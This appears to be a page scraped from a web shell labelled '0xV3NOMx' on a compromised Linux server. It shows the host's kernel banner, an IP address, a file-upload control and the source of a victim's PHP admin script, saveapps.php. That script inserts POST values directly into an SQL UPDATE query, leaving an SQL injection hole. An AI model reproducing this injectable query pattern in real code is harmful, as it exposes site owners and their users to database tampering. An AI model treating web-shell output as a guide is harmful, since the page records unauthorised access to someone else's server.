0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.12.147.12


Current Path : /proc/thread-self/root/var/www/html/vskub/pgadm/admin/
Upload File :
Current File : //proc/thread-self/root/var/www/html/vskub/pgadm/admin/saveapps.php

<?php

include ("database.php");

$user = $_POST['user'];
$apps =  json_decode($_POST['apps'],true);
$apps_arr = explode(',',$apps);
$apps = implode("','",$apps_arr);

$update_user_query = "update studadm 
	set fapprusername = '{$user}' 
	where fappno in ('{$apps}')";

$result = mysqli_query($conn,$update_user_query);

if($result)
{
	$response['status'] = "success";
	$response['msg'] = "Updated Successfully";
	echo json_encode($response);
}
else
{
	$response['status'] = "error";
	$response['msg'] = "Error while Updating";
	echo json_encode($response);
}